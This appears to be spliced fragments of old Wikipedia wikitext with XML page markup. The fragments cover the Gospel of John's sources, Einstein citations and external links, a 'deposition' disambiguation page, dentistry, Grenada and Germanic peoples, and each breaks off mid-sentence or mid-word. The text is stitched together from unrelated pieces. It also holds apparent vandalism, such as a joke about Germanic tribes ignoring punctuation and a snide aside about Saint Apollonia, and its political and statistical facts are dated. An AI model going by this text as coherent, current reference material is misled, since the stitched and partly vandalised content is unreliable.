cites three possibilities: Ephesus (as per Irenaeus), Alexandria, or Antioch. ==Sources== A hypothesis elaborated by the noted German theologian and biblical scholar [[Rudolf Bultmann]] in ''Das Evangelium des Johannes'', 1941 (translated as ''The Gospel of John: A Commentary,'' 1971), suggested that the author of ''John'' depended in part on an oral miracles tradition or a manuscript of Christ's miracles that was independent of the synoptic gospels, whose authors did not use it. This has been labelled a &quot;[[Signs Gospel]]&quot; and alleged to have been circulating before [[70|AD 70]]: evidently it is lost. Even readers who doubt that such a document can be precisely identified have noticed the remnants of a numbering associated with some of the miracles that appear in the canonical ''Gospel of John.'' Textual critics have noted that, of the miracles that are mentioned only by John, all of them occur in the presence of ''John'' [http://www.biblegateway.com/passage/?search=John%2012:37;&amp;version=31; 12:37]; that these signs are unusually dramatic; and that these &quot;signs&quot; (''semeia'' is uniquely John's expression) are accomplished in order to ''call forth'' faith. These miracles are different, not only from the rest of the &quot;signs&quot; in ''John'', but also from all of the miracles in the synoptic gospels, which, according to this interpretation, occur ''as a result'' of faith. These characteristics may be independently assessed by a reader who returns to the text. One conclusion is that John was reinterpreting an early Hellenistic tradition of Jesus as a wonder-worker, a &quot;magician&quot; that would fit within the Hellenistic world-view. These ideas were so hotly denied that [[heresy]] proceedings were instituted against Bultmann and his writings. (See more detailed discussions linked below.) Further arguments that Jesus was also known as a &quot;Divine Man, Wonder-worker (One who is favored by the Gods), or even a Sorcerer&quot; in the late 3rd and 4th centuries have also been given as an explanation of artistic representations of Jesus with a magic wand. Since these representations exist only in the Western part of the Roman Empire, it has been suggested that this has a relation with [[Arianism]]. Peter is the only apostle, portrayed in early Christian art, who also carries a wand. These wands or staffs are thought to be symbols of power. This art, since its discovery, has not been kept secret. ==Handling of source material == It is notable that the Gospel's opening prologue in John [http://www.biblegateway.com/passage/?search=John%201:1-18;&amp;version=31; 1:1-18] consciously echoes the opening motif of ''[[Genesis (Hebrew Bible)]].'', &quot;In the beginning&quot;. Beyond this, there has been much debate over the centuries on the theological background of the prologue: is it a formula of Hellenistic [[rhetoric]], traditional Jewish wisdom, or some type of Qumran-like [[Dead Sea scrolls]] metaphysic? By the beginning of the 21st century, the pendulum of scholarly opinion has swung back to a traditional Jewish background. While Genesis [http://www.biblegateway.com/passage/?search=Genesis%201;&amp;version=31; 1] focuses on God's creation, [[John 1|John]] [http://www.biblegateway.com/passage/?search=John%201;&amp;version=31; 1] focuses on the Word (or [[Logos]] in the Greek) and the significance of the Word coming into the already created world. The Johannine gospel identifies the [[Logos]] with [[Jesus]]. Compare this with the Second Adam as described by [[Paul of Tarsus|Paul]] in I Corinthians [http://www.biblegateway.com/passage/?search=1%20Corinthians%2015:45;&amp;version=31; 15:45] where he states that the First Adam (of Genesis) was a body who became &quot;a living being&quot;, while the Second Adam ([[Jesus]]) is &quot;a lifegiving spirit.&quot; Perhaps with Paul's previously distributed epistle in mind, John aims not only to show Jesu
author = Golden, Frederic | year = 2000-01-03 | url = http://www.time.com/time/time100/poc/magazine/albert_einstein5a.html | title = Person of the Century: Albert Einstein | accessdate = 2006-02-25 }} * {{cite web | author = American Institute of Physics | year = 1996 | url = http://www.aip.org/history/einstein/index.html | title = Einstein-Image and Impact | accessdate = 2006-02-25 }} * {{cite web | author = Bodanis, David | year = June 2005 | url = http://www.pbs.org/wgbh/nova/einstein/bodanis.html | title = Einstein the Nobody | accessdate = 2006-02-25 }} ==Notes== {{ent|1|brain}} [http://www.bioquant.com/gallery/einstein.html The Exceptional Brain of Albert Einstein]. {{ent|2|autism}} {{news reference|author=Muir, Hazel|title=Einstein and Newton showed signs of autism|org=New Scientist|url=http://www.newscientist.com/article.ns?id=dn3676|date=2003-04-30|urldate=2006-01-04}} See also [[People speculated to have been autistic]]. {{ent|3|Highfield1}} Highfield. {{ent|4|Highfield2}} Ibid. {{ent|5|www.ipi.ch.376}} {{cite web | title=The institute / IPI / Federal Institute of Intellectual Property | url=http://www.ipi.ch/E/institut/i1.shtm | accessdate=November 21 | accessyear=2005 }} {{ent|6|Galison368}} Galison p. 368. {{ent|7|physicsweb.org.377}} {{cite web | title=Arguing about Einstein's wife (April 2004) - Physics World - PhysicsWeb (See above) | url=http://physicsweb.org/articles/world/17/4/2 | accessdate=November 21 | accessyear=2005 }} {{ent|8|Galison370}} Galison p. 370. {{ent|9|Thorne}} [[David Hilbert]] actually published the field equation in an article dated five days before Einstein's lecture. But according to Thorne (pp. 117&amp;ndash;118), Hilbert had discovered the correct derivation after &quot;mulling over things he had learned&quot; on a recent visit by Einstein to Gottingen. However Thorne goes on to say &quot;Quite naturally, and in accord with Hilbert's view of things, the resulting law of warpage was quickly given the name the ''Einstein field equation'' rather than being named after Hilbert. Hilbert had carried out the last few mathematical steps to its discovery independently and almost simultaneously with Einstein, but Einstein was responsible for essentially everything that preceded those steps: the recognition that tidal gravity must be the same thing as a warpage of spacetime, the vision that the law of warpage must obey the reativity principle, and the first 90 percent of that law, the Einstein field equation. In fact without Einstein the general relativistic laws of gravity might not have been discovered until several decades later.&quot; See [[Priority disputes about Einstein and the relativity theories]] for more details. {{ent|9|www.lorentz.leidenuniv.nl.378}} {{cite web | title=Einstein archive at the Instituut-Lorentz | url=http://www.lorentz.leidenuniv.nl/history/Einstein_archive/ | accessdate=November 21 | accessyear=2005 }} {{ent|11|gtalumni.org.379}} {{cite web | title=Einstein's Refrigerator | url=http://gtalumni.org/StayInformed/magazine/sum98/einsrefr.html | accessdate=November 21 | accessyear=2005 }} {{ent|12|news.bbc.co.uk.381}} {{cite web | title=BBC News : Sci/Tech : Why size mattered for Einstein | url=http://news.bbc.co.uk/1/hi/sci/tech/371698.stm | accessdate=November 21 | accessyear=2005 }} {{ent|13|ethicalculture.1}} {{cite web | title=The Humanist Way: An Introduction to Ethical Humanist Religion | url=http://www.aeu.org/ericson2.html | accessdate=February 25 | accessyear=2006 }} {{ent|14|www.amnh.org.382}} {{cite web | title=Einstein : American Museum of Natural History | url=http://www.amnh.org/exhibitions/einstein/peace/index.php | accessdate=November 21 | accessyear=2005 }} {{ent|15|www.amnh.org.383}} Ibid. {{ent|16|socialism}} {{news reference|title=Why Socialism?|firstname=Albert|lastname=Einstein|org=Monthly Review|date=May 1949|url=http://www.monthlyreview.org/598einst.htm|urldate=2006-01-16}} {{ent|17|foia.fbi.gov.384}} {{cite web | title=Federal Bureau of Investigation - Freedom of Information Privacy Act | url=http://foia.fbi.gov/foiaindex/einstein.htm | accessdate=November 21 | accessyear=2005 }} {{ent|18|hypertextbook.com.385}} {{cite web | title=Einstein's Letters to Roosevelt | url=http://hypertextbook.com/eworld/einstein.shtml | accessdate=November 21 | accessyear=2005 }} {{ent|19|calaprice173}} Calaprice p. 173. {{ent|20|www.mentalfloss.com.386}} {{cite web | title=mental_floss library | url=http://www.mentalfloss.com/archives/archive2003-03-14.htm | accessdate=November 21 | accessyear=2005 }} {{ent|21|aip.org.387}} {{cite web | title=http://aip.org/history/esva/einuse.htm | url=http://aip.org/history/esva/einuse.htm | accessdate=November 21 | accessyear=2005 }} {{ent|22|refbot.388}} {{cite web | title=ALBRT EINSTEIN BRAND LOGO | url=http://www.albert-einstein.net/styleguide-readonly/brand.html | accessdate=November 21 | accessyear=2005 }} {{ent|23|refbot.389}} {{cite web | title= Albert Einstein College of Medicine of Yeshiva University | url=http://www.aecom.yu.edu | accessdate=November 21 | accessyear=2005 }} {{ent|24|www.einstein.edu.390}} {{cite web | title= Albert Einstein Medical Center | url=http://www.einstein.edu/facilities/aemc/ | accessdate=November 21 | accessyear=2005 }} ==External links== {{wikiquote|Albert Einstein}} {{commons|Albert_Einstein}} {{sisterlinks|Albert Einstein}} * {{gutenberg author| id=Albert+Einstein | name=Albert Einstein}} * [[Nobel Prize in Physics]]: [http://www.nobel.se/physics/laureates/1921/press.html The Nobel Prize in Physics 1921]—[http://www.nobel.se/physics/laureates/1921/index.html Albert Einstein] * [[Annalen der Physik]]: [http://gallica.bnf.fr/Catalogue/noticesInd/FRBNF34462944.htm#listeUC Works by Einstein] digitalized at The University of Applied Sciences in Jena (Fachhochschule [[Jena]]) * S. Morgan Friedman, &quot;[http://www.westegg.com/einstein/ Albert Einstein Online]&quot;—Comprehensive listing of online resources about Einstein. *[[TIME magazine]] 100: [http://www.time.com/time/time100/scientist/profile/einstein.html Albert Einstein] *[http://www.timelessquotes.com/author/Albert_Einstein.html Albert Einstein Quotes] - Hundreds of famous Albert Einstein quotes * ''Audio excerpts of famous speeches: '' [http://www.time.com/time/time100/poc/audio/einstein1.ram E=mc&amp;sup2; and relativity], [http://www.time.com/time/time100/poc/audio/einstein2.ram Impossibility of atomic energy], [http://www.time.com/time/time100/poc/audio/einstein3.ram arms race] (From Time magazine archives) * {{MacTutor Biography|id=Einstein}} * [[Leiden University]]: [http://www.lorentz.leidenuniv.nl/history/Einstein_archive/ Einstein Archive] * [[PBS]]: [http://www.pbs.org/wgbh/amex/truman/psources/ps_einstein.html Einstein's letter to Roosevelt] * PBS [http://www.pbs.org/wgbh/nova/einstein/ NOVA—Einstein] * PBS [http://www.pbs.org/opb/einsteinswife/ Einstein's wife]: Mileva Maric * [[FBI]]: [http://foia.fbi.gov/foiaindex/einstein.htm FBI files]—investigation regarding affiliation with the Communist Party * [[Johann Wolfgang Goethe University of Frankfurt am Main|University of Frankfurt]]: [http://www.th.physik.uni-frankfurt.de/~jr/physpiceinfam.html Einstein family pictures] * [[Salon.com]]: [http://dir.salon.com/people/feature/2000/07/06/einstein/index.html Did Einstein cheat?] * [http://www.germanheritage.com/biographies/atol/einstein.html Albert Einstein Biography from &quot;German-American corner: History and Heritage&quot;] * [http://www.alberteinstein.info/ Official Einstein Archives Online] * [http://www.alberteinstein.info/manuscripts/index.html Einstein's Manuscripts] * [http://www.albert-einstein.org/ Albert Einstein Archive] * [http://www.einstein.caltech.edu/ Einstein Papers Project] * [[Max Planck Institute]]: [http://living-einstein.mpiwg-berlin.mpg.de/living_einstein Living Einstein] * [[American Institute of Physics]]: [http://www.aip.org/history/einstein/index.html Albert Einstein] includes his life and work, audio files and full site available as a downloadable PDF for classroom use * [[American Museum of Natural History]]: [http://www.amnh.org/exhibitions/einstein/index.php Albert Einstein] * [http://www.aeinstein.org The Albert Einstein Institution] * [[The Economist]]: [http://www.economist.com/displaystory.cfm?story_id=3518580 &quot;100 years of Einstein&quot;] * Einstein@Home: [http://www.physics2005.org/events/einsteinathome/index.html Distributed computing project searching for gravitational waves predicted by Einstein's theories] * World Year of Physics 2005 [http://www.physics2005.org A celebration of Einstein's Miracle Year] * [http://www.einsteinyear.org/ Einstein Year 2005] * [[The Guardian]]: [http://www.guardian.co.uk/japan/story/0,7369,1521314,00.html Einstein's pacifist dilemma revealed] * [http://www.muppetlabs.com/~breadbox/txt/al.html Einstein's Theory of Relativity, In Words of Four Letters or Fewer] * [[Rabindranath Tagore|Rabindranath Tagore's]] [http://www.schoolofwisdom.com/tagore-einstein.html Conversation with Einstein] * [http://www.zionistarchives.org.il/ZA/SiteE/pShowView.aspx?GM=Y&amp;ID=48&amp;Teur=Protest%20against%20the%20suppression%20of%20Hebrew%20in%20the%20Soviet%20Union%20%201930-1931 Protest against the suppression of Hebrew in the Soviet Union 1930-1931] * [http://www.einsteinonrace.com/ Einstein on Race] * [http://www.stn-international.de/archive/stn_brochures/einstein_e.pdf Einstein brochure (PDF), 100 years special theory of relativity 2005] * [http://supernaturalminds.com/AlbertEinstein.html Albert Einstein Profile At Supernatural Minds] * [http://www.oxonianreview.org/issues/5-1/5-1foster.html Everyone Loves Einstein, The Oxonian Review of Books] {{featured article}} [[Category:1879 births|Einstein, Albert]] [[Category:1955 deaths|Einstein, Albert]] [[Category:Natives of Baden-Württemberg|Einstein, Albert]] [[Category:Albert Einstein| ]] [[Category:Physicists|Einstein, Albert]] [[Category:Autodidacts|Einstein, Albert]] [[Category:Contributors
he taking of [[testimony]] outside of [[court]]. *In [[chemistry]], '''[[deposition (chemistry)|deposition]]''' is [[molecule]]s settling out of a [[solution]]. *In [[geology]], '''[[deposition (geology)|deposition]]''' is material (like [[sediment]]) being added to a [[landform]]. *In [[meteorology]], '''[[deposition (meteorology)|deposition]]''' occurs when [[water vapor]] changes directly to [[ice]] without becoming a [[liquid]] first. *In [[politics]], '''[[deposition (politics)|deposition]]''' is the removal a [[person]] of [[authority]] from [[political power|power]]. *In [[Christianity]], the '''[[Stations of the Cross|Deposition]]''' is the removal of Christ from the cross, at the [[Crucifixion]]. *In [[Archaeology]], '''deposition''' is physically similar to that of geology. It is the laying down of an [[Horizon (archaeological)|horizon]] containing archaeological [[information]] such as an that provided by an [[artefact (archaeology)|artefact]]. *In [[Aerosol physics]], '''[[deposition (Aerosol physics)|deposition]]''' is a process, where aerosol particles set down onto surfaces. *In [[rapid prototyping]], '''[[fused deposition modeling]]''' is a process by which a part is constructed by depositing material layer by layer. {{disambig}} ''See also'': [[List of Latin words with English derivatives|Latin words in English]]</text> </revision> </page> <page> <title>Dentistry</title> <id>8005</id> <revision> <id>42002929</id> <timestamp>2006-03-03T03:52:35Z</timestamp> <contributor> <username>Dozenist</username> <id>171888</id> </contributor> <comment>remove signature</comment> <text xml:space="preserve">:''This article is about the dental profession. For tooth care, see [[oral hygiene]]. [[Image:Dental x-ray.jpg|right|frame|[[Radiographs]] ([[X-ray]]s) can reveal if a person has cavities]] '''Dentistry''' is the art and science of prevention, diagnosis, and treatment of conditions, diseases, and disorders of the oral cavity, the maxillofacial region, and its associated structures as it relates to human beings. A dentist is a doctor qualified to treat diseases, malformations of, and injuries to teeth, a professional practitioner of dentistry. In most countries, several years of training in a [[university]] (usually 4-8) and some practical experience working with actual patients' [[dentition]] are required to become a qualified dentist. The patron saint of dentists is [[Saint Apollonia]], martyred in Alexandria by having all her teeth violently extracted, not, one would have thought, such a very desirable exemplar. ==Specialties== [[Image:Métiers-Dentiste, humour-années 20.JPG|frame|right|Visits to the dentist are often feared or dreaded.]] There are nine dental specialties recognized by the [[American Dental Association]] and require 2-6 years of further formal university training after dental school. The specialties are [[Dental Public Health]] (study of dental epidemiology and social health policies), [[Endodontics]] ([[root canal]] therapy), [[Oral and Maxillofacial Pathology]] (study, diagnosis, and often the treatment of oral and maxillofacial related diseases), [[Oral and Maxillofacial Radiology]] (study and radiologic interpretation of oral and maxillofacial diseases), [[Oral and Maxillofacial Surgery]] ([[extraction (dental)|extractions]] and facial surgery), [[Orthodontics]] (straightening of teeth), [[Pedodontics]] (pediatric dentistry; i.e. dentistry for children), [[Periodontics]] (treatment of gum disease), [[Prosthodontics]] (replacement of missing facial anatomy by prostheses such as dentures, bridges and implants). Specialists in these fields are designated registrable (U.S. &quot;Board Eligible&quot;) and warrant exclusive titles such as orthodontist, oral surgeon, pedodontist, periodontist, or prosthodontist upon satisfying certain local (U.S. &quot;Board Certified&quot;) registry requirements. Two other post-graduate formal advanced education programs: [[General Practice Residency]] (advanced clinical and didactic training with intense hospital experience) and [[Advanced Education in General Dentistry]] (advanced training in clinical dentistry) recognized by the [http://www.ada.org ADA] do not lead to specialization. Other dental education exists where no post-graduate formal university training is required: [[cosmetic dentistry]], [[dental implant]], [[Temporomandibular joint disorder|temporo-mandibular joint therapy]]. These usually require the attendance of one or more continuing education courses that typically last for one to several days. There are restrictions on allowing these dentists to call themselves specialists in these fields. The specialist titles are registrable titles and controlled by the local dental licensing bodies. [[Forensic odontology]] consists of the gathering and use of dental evidence in law. This may be performed by any dentist with experience or training in this field. The function of the forensic dentist is primarily documentation and verification of identity. [[Geriatric dentistry]] or gerodontics is the delivery of dental care to older adults involving the diagnosis, prevention, and treatment of problems associated with normal aging and age-related diseases as part of an interdisciplinary team with other health care professionals. ==History== [[Image:Johann Liss 002.jpg|thumb|''Farmer at the dentist'', [[Johann Liss]], c. 1616-17.]] In [[2001]] archaeologists studying the remains of two men from [[Mehrgarh]], [[Pakistan]], made the discovery that the people of [[Indus Valley Civilization]], even from the early [[Harappa]]n periods (c. [[3300 BC]]), had knowledge of medicine and dentistry. The physical anthropologist that carried out the examinations, Professor Andrea Cucina from the University of Missouri-Columbia, made the discovery when he was cleaning the teeth from one of the men (see [[History of medicine]]). Some information contained in the [[Edwin Smith Papyrus]] dates as early as [[3000 BC]] and includes the treatment of several dental ailments ([http://www.arabworldbooks.com/articles8.htm] &amp; [http://www.britannica.com/eb/article-9032043]). The [[Ebers papyrus]] also discusses similar treatments ([http://www.arabworldbooks.com/articles8c.htm]). Examining the remains of some [[History of Ancient Egypt|ancient Egyptians]] and [[Greco-Roman]]s reveal early attempts at dental [[prosthetic]]s and [[surgery]] ([http://www.arabworldbooks.com/articles8c.htm]). Historically, dental extractions have been used to treat a variety of illnesses. During the middle ages and through the 19th century, dentistry was not a profession into itself, and often dental procedures were performed by barbers or general physicians. [[Barber|Barbers]] usually limited their practice to extracting teeth, which not only resulted in the alleviation of [[pain]], but often cured a variety of ailments linked with chronic tooth [[infection]]. Instruments used for dental extractions date back several centuries. In the 14th century, Guy de Chauliac invented the dental pelican (resembling a [[pelican]]'s beak) which was used through the late 18th century. The pelican was replaced by the [[Dental Key|dental key]] which, in turn, was replaced by modern forceps in the 20th century. For more information on the ancient history of dentistry refer to the ''[http://www.idakerala.org/dentistryhome.asp Indian Dental Association's '''History of Dentistry'''].'' ==Dentistry throughout the world== ===Dentistry in Australia=== In [[Australia]], graduating dentists earn either a B.D.S. (Bachelor of Dental Surgery) or B.D.Sc (Bachelor of Dental Science) degree. Regarded as one of the premier dentistry courses in Australia, the B.D.Sc course at the University of Melbourne spans five years, pending an accumulation of both high school performance ([[Equivalent National Tertiary Entrance Rank]] (ENTER) score in Victoria or other national equivalent; International Bachelorette or any other International equivalent) and [[UMAT|Undergraduate Medicine and Health Sciences Admission Test (UMAT)]] scores. Clinical practice during the course begins during year one at the Royal Dental Hospital of Melbourne, adjacent to the main campus of the University (and also to the Royal Women's Hospital). The first three years are mainly theoretically based in the wider aspect of health sciences including anatomy, biology, chemistry, microbiology, pathology, pharmacology and neuroscience. Significant clinical experience is gained right up until the fifth and final year, which consists almost completely of clinical work. [http://coursesearch.unimelb.edu.au/coursedetail.aspx?cid=726&amp;ctype=1&amp;typeall=1&amp;typepg=0&amp;typeug=0&amp;typesc=0&amp;stype=Interest&amp;sterm=28 BDSc at MU] Also spanning five years, the B.D.Sc offered by the University of Queensland (UQ) combines high-school performance with an in-person interview on campus. UMAT scores do not apply. It is unique to Australia as it involves a 1-3-1 program: undergraduates undertake one year of preliminary generalist science courses, followed by three years of theoretical and clinical-based theory at the dental school. It is concluded by one year of extra-mural studies in regional placements. ===Dentistry in Canada=== Canadian dentistry is overseen by the [[Canadian Dental Association]], while specialization is overseen by the [[Royal College of Dentists]]. Today, Canada has about 16,000 dentists. Canadian dentistry is not publicly run (see [[Medicare (Canada)]]); only children and the elderly can have free dental care. Other Canadians are mostly covered by workplace dental plans, but many have to pay out of pocket. For most of the early colonial period dentistry was a rare and unusual practice in Canada. In severe situations, barbers or blacksmiths would pull a tooth, but for many years [[Canada]] lagged behind European advances. The first dentists in [[
t Maurice Bishop's body was never discovered. Their project attracted a great deal of attention, including from the [[Miami Herald]] and the final report was published in a book written by the boys called ''Big Sky, Little Bullet''. It also uncovered that there was still a lot of resentment in Grenadian society resulting from the era, and a feeling that there were many injustices still unaddressed. The commission began shortly after the boys concluded their project. In [[2004]], the island after being hurricane free for 49 years, was directly hit by [[Hurricane Ivan]] ([[September 7]]). The [[category 4 hurricane]] caused 90 percent of the homes to be damaged or destroyed. The following year, 2005, [[Hurricane Emily]] ([[July 14]]) struck the island, causing an estimated [[USD]] $110 million ([[East Caribbean Dollar|EC$]] 297 million) worth of damage. This was much less damage than Ivan had caused. Grenada has recovered with remarkable speed, due to her climate and the resilience of her people combined with much needed help from her neighbours, and financing from the world at large. By December 2005, 96% of all hotel rooms were to be open for business and to have been upgraded in facilities and strengthened to an improved building code. The agricultural industry and in particular the nutmeg industry suffered serious losses, but that event has begun changes in crop management and the [[nutmeg]] industry may be returning to its pre-Ivan position as a major supplier in the western world. == Politics == ''Main article: [[Politics of Grenada]]'' As a [[Commonwealth Realm]], [[Queen Elizabeth II of the United Kingdom|Queen Elizabeth II]] is Queen of Grenada and Head of State. The Crown is represented by a [[List of Governors-General of Grenada|Governor-General]], who is currently [[Daniel Williams|Sir Daniel Williams]]. Day-to-day executive power lies with the Head of Government, the Prime Minister. Although appointed by the Governor-General, the Prime Minister is usually the leader of the largest faction in the Parliament. The Parliament consists of a Senate (13 members) and a House of Representatives (15 members). The senators are appointed by the government and the opposition, while the representatives are elected by the population for 5-year terms. With 49.9% of the votes and 8 seats in the [[Grenada parliamentary election, 2003|2003 election]], the [[New National Party (Grenada)|New National Party]] remains the largest party in Grenada. The largest opposition party is the [[National Democratic Congress (Grenada)|National Democratic Congress]] with 45.1% of the votes and 7 seats. Grenada is a full and participating member of both the [[Caribbean Community|Caribbean Community (CARICOM)]] and the [[Organisation of Eastern Caribbean States]] (OECS). == Parishes == ''Main article: [[Parishes of Grenada]]'' Politically, Grenada is divided into six parishes: * [[Saint Andrew Parish, Grenada|Saint Andrew]] * [[Saint David Parish, Grenada|Saint David]] * [[Saint George Parish, Grenada|Saint George]] * [[Saint John Parish, Grenada|Saint John]] * [[Saint Mark Parish, Grenada|Saint Mark]] * [[Saint Patrick Parish, Grenada|Saint Patrick]] [[Carriacou and Petit Martinique]], two of the [[Grenadines]] have the status of dependency. == Geography == ''Main article: [[Geography of Grenada]]'' [[Image:Gj-map.gif|right|Map of Grenada]] The island Grenada itself is the largest island; smaller Grenadines are [[Carriacou]], [[Petit Martinique]], [[Rhonde Island]], [[Caille Island]], [[Diamond Island]], [[Large Island]], [[Saline Island]] and [[Frigate Island]]. Most of the population lives on Grenada itself, and major towns there include the capital [[St. George's, Grenada|St. George's]], [[Grenville, Grenada|Grenville]] and [[Gouyave]]. Largest settlement on the other islands is [[Hillsborough, Grenada|Hillsborough]] on Carriacou. The islands are of [[volcanic]] origin with extremely rich soil. Grenada's interior is very mountainous with Mount St. Catherine being the highest at 2,756 feet. Several small [[river]]s with beautiful waterfalls flow into the sea from these mountains. The [[climate]] is tropical: hot and humid in the rainy season and cooled by the trade winds in the dry season. Grenada being on the southern edge of the hurricane belt has suffered only 3 hurricanes in 50 years. Hurricane Janet passed over Grenada on 23 September 1955 with winds of 115 mph, causing severe damage. The most recent storms to hit have been Hurricane Ivan on [[September 7]], [[2004]] causing severe damage and 39 deaths and Hurricane Emily on [[July 14]], [[2005]] causing serious damge in Carriacou and in the north of Grenada which had been relatively lightly affected by hurricane Ivan. == Economy == ''Main article: [[Economy of Grenada]]'' Economic progress in fiscal reforms and prudent macroeconomic management have boosted annual growth to 5%-6% in [[1998]]-99; the increase in economic activity has been led by construction and trade. Tourist facilities are being expanded; [[tourism]] is the leading [[foreign exchange]] earner. Major short-term concerns are the rising fiscal deficit and the deterioration in the external account balance. Grenada shares a common [[central bank]] and a common [[currency]] (the [[East Caribbean Dollar]]) with seven other members of the [[Organisation of Eastern Caribbean States]] (OECS). [[Image:NutmegGrenada-jhw.jpg|left|frame|Mace within nutmeg fruit]]Grenada is sometimes called '''spice island'''. [[Cinnamon]], [[cloves]], [[ginger]], [[mace (spice)|mace]], and [[nutmeg]] are important exports. There is a nutmeg on the nation's flag. The red lacy material in the photo is mace. It is found between the nutmeg fruit and the nut itself. == Demographics == ''Main article: [[Demographics of Grenada]]'' About 80% of the population are descendants of the [[Africa]]n [[Slavery|slave]]s brought by the Europeans; no indigenous [[Carib]] and [[Arawak]] population survived the French purge at Sauteurs. About 12% are descendants of the Indian indentured emigration to St. Lucia and Grenada which started in 1855 with the rest of a mixture of African Indian and European descent. Grenada, like many of the Caribbean islands is subject to a large amount of migration, with a large amount of young people wanting to leave the island to seek life elsewhere. With less than 100,000 people living in Grenada, estimates and census data suggest that there are at least that number of Grenadian-born people in other parts of the Caribbean (such as Barbados and Trinidad) and at least that number again in 'first world' countries. Popular migration points for Grenadians further north include [[New York City]], [[Toronto]], [[London]] and [[Yorkshire]]. This means that probably around a third of those born in Grenada still live there. The official language, [[English language|English]], is spoken by virtually everyone. Aside from a marginal community of Rastafarians living in Grenada, nearly all are Christians, about half of them [[Catholic Church|Catholics]]; [[Anglicanism]] is the largest [[Protestantism|Protestant]] denomination with Presbyterian and Seventh Day Adventist taking up the remainder. Most Churches have demonination based schools but are open to all. There is a small Muslim population mostly from old Iraqi immigrants who came many years ago and set up some merchant shops. == Culture == ''Main article: [[Culture of Grenada]]'' Although [[France|French]] influence on culture is much less than in other [[Caribbean islands]], surnames and place names in French remain and some French architecture has survived from the [[1700s]]. Island culture is heavily influenced by the [[African]] roots of most of the Grenadians but [[India|Indian]] influence is also seen with Dhal Puree, Goat and Chicken curry in the cuisine. Foods aren't the only important aspect of Grenadian culture. Music, dance, and festivals are also extremely important. [[Soca]], [[calypso]], and [[reggae]] set the mood for Grenada's annual [[Carnival]] activities. The islanders' African heritage has also played an influential role in many aspects of Grenada's culture. ==References== * Stark, James H. 1897. ''Stark's Guide-Book and History of Trinidad including Tobago, Grenada, and St. Vincent; also a trip up the Orinoco and a description of the great Venezuelan Pitch Lake''. Boston, James H. Stark, publisher; London, Sampson Low, Marston &amp; Company. == See also == * [[Communications in Grenada]] * [[Foreign relations of Grenada]] * [[Military of Grenada]] * [[Transportation in Grenada]] * [[Past and present anarchist communities#Radicalism in Grenada.2C 1979 to 1983|Radicalism in Grenada 1979 to 1983]] == External links == *[http://www.gov.gd Official Website of the Government of Grenada] *[http://grenadagrenadines.com/ Official Website of the Grenada Board of Tourism] *[http://www.carriacoupetitemartinique.com/ Carriacou Petite Martinique Tourism Association] *[http://www.thegrenadarevolutiononline.com/ The Grenada Revolution online] *[http://grenada-guide.info/ Grenada Travel Guide] *[http://grenadatravelforum.com/ Grenada Travel Forum] *[http://grenadaatl.org/ Grenada Atlanta Association] *[http://www.divesitedirectory.com/caribbean_grenada.html Guide to scuba diving Grenada] http://www.gogouyave.com/ the official Website of Gouyave, Saint John {{West_Indies}} {{Caricom}} [[Category:Grenada|*]] [[Category:Caribbean]] [[Category:CARICOM member states]] [[Category:Caribbean countries]] [[Category:Caribbean islands]] [[Category:Monarchies]] [[Category:Former British colonies]] [[Category:Members of the Commonwealth of Nations]] [[ar:جرينادا]] [[an:Grenada]] [[zh-min-nan:Grenada]] [[bs:Grenada]] [[ca:Grenada]] [[cs:Grenada]] [[da:Grenada]] [[de:Grenada]] [[et:Grenada]] [[es:Granada (país)]] [[eo:Grenado]] [[eu:Grenada]] [[fr:Grenade (pays)]] [[gl:Granada - Grenada]] [[ko:그레나다]] [[hr:Grenada]] [[io:Grenada]] [[id:Grenada]] [[is:Grenad
mbiguation)|Dutch]]'', [[Dutch language|Dutch]] ''Dietsch'', was not introduced until the 9th century, originally designating the language of the people in contrast to the Latin language. From ca. [[875]], Latin writers refer to the German language as ''teutonicus''. In English, ''German'' is first attested in [[1520]], replacing earlier use of ''[[Alamanni|Almain]]'' or ''[[Dutch]]''. == Classification == [[Image:Upplands Runinskrift 871 2.jpg|thumb|250px|Detail of the [[Uppland Rune Inscription 871]] (12th century)]] The concept of &quot;Germanic&quot; as a distinct [[ethnic]] identity was hinted at by the early Greek geographer [[Strabo]] [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.01.0198;query=section%3D%2341;chunk=section;layout=;loc=7.1.1], who distinguished a [[barbarian]] group in northern Europe similar to, but not part of, the [[Celts]]. [[Posidonius]], to our knowledge, is the first to have used the name, around [[80 BC]], in his lost 30th book. Our knowledge of this is based on the 4th book of [[Athenaeus]], who in ca. AD [[190]] quotes Posidonius as saying that &quot;The Germani at noon serve roast meat with milk, and drink their wine undiluted&quot;. By the [[1st century]] A.D., the writings of [[Caesar]], [[Gaius Cornelius Tacitus|Tacitus]] and other [[Roman era]] writers indicate a division of Germanic-speaking peoples into tribal groupings centred on: * the rivers [[Oder]] and [[Vistula]] ([[Poland]]) ([[East Germanic tribes]]), * the lower [[Rhine]] river ([[Istvaeones]]), * the river [[Elbe]] ([[Irminones]]), * [[Jutland]] and the Danish islands ([[Ingvaeones]]). The Sons of [[Mannus]] [[Istvaeones]], [[Irminones]], and [[Ingvaeones]] are collectively called [[West Germanic tribes]]. In addition to this those Germanic people who remained in Scandinavia are referred to as [[North Germanic]]. These groups all developed separate dialects, and literature styles with little regard for conventional punctuation, the basis for the differences among [[Germanic languages]] down to the present day. The division of peoples into West Germanic, East Germanic, and North Germanic is a modern linguistic classification. Many Greek scholars only classified [[Celt]]s and [[Scythia|Scyths]] in the Northwest and Northeast of the Mediterranean and this classification was widely maintained in Greek literature until Late Antiquity. Latin-Greek ethnographers ([[Tacitus]], [[Pliny the Elder]], [[Ptolemy]], and [[Strabo]]) mentioned in the first two centuries AD the names of peoples they classified as Germanic along the Elbe, the Rhine, and the Danube, the Vistula and on the Baltic Sea. Tacitus mentioned 40, Ptolemy 69 peoples. Classical ethnography applied the name ''[[Suebi]]'' to many tribes in the first century. It appeared that this native name had all but replaced the foreign name Germanic. After the [[Marcomannic]] wars the Gothic name steadily gained importance. Some of the ethnic names mentioned by the ethnographers of the first two centuries AD on the shores of the Oder and the Vistula ([[Gutones]], [[Vandali]]) reappear from the 3rd century on in the area of the lower Danube and north of the Carpathian Mountains. For the end of the 5th century the Gothic name can be used - according to the historical sources - for such different peoples like the [[Goths]] in Gaul, Iberia and Italy, the [[Vandals]] in Africa, the [[Gepids]] along the Tisza and the Danube, the [[Rugians]], [[Sciri]] and [[Burgundians]], even the Iranian [[Alans]]. These peoples were classified as Scyths and often deducted from the ancient [[Getae]] (most important: Cassiodor/Jordanes, Getica approx. 550 AD). === The concept of ''[[Volk]]'' === In the [[1990s]] and the 